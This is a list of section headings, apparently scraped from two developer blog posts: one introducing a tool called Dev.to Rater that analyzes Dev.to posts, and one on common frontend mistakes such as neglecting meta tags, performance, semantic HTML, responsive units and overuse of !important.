I've made Tool That Analyzes your Dev.to Posts

Why did I create Dev.to Rater?

🛠 About the project

How Dev.to Rater analyze posts?

📖 Documentation?

What about versions?

Reaction stats? Now available.

🤝 Contributing

Guess what?

📢 Will you use this tool?

The biggest frontend mistakes you can do

1. Ignoring Meta tags and Open Graph

2. Ignoring performance optimization

Additional tips:

3. Poor HTML Structure and Semantics

Additional tips:

4. Using fixed units and bad responsive design

Additional tips:

5. Relying too much on !important

5. Relying too much on `!important`